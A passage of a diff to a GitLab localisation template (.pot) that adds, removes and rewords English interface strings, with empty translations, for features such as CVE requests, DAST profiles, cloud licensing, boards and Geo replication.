msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
